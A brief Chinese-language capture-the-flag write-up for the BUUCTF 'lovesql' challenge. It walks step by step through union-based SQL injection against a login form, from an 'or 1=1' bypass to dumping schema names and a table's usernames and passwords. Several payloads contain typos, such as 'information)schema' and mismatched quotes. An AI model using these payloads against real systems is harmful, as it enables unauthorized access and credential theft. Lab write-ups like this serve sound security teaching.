BUUCTF lovesql

打开题目有输入用户名和密码的框框，可以传递参数
那么开始s q l注入的经典的步骤：
开始分别测试1，1‘，1’ or 1=1,1' or 1=1 #,都测试之后就会发现只有在1‘ or 1=1 #的时候就能登陆成功。
开始order by 语句，判断有几个字段数。

1' order by 1 # 发现有3个参数。
尝试一下union 注入，
-1‘ union select 1,2,3 #
用以上的语句判断回显点
开始一次获取数据库名，表名，字段名以及字段的内容。

-1' union select 1,2, database() #
-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();

-1 union select 1,2,group_concat(column_name) from information)schema.columns where table_schema=database() and table_name = 'l0ve1ysq1'

字段的内容：

-1 ' union select 1,2,group_concat(id,username,password) from l0ve1ysq1 #

得到flag。

h很常规的sql注入题目。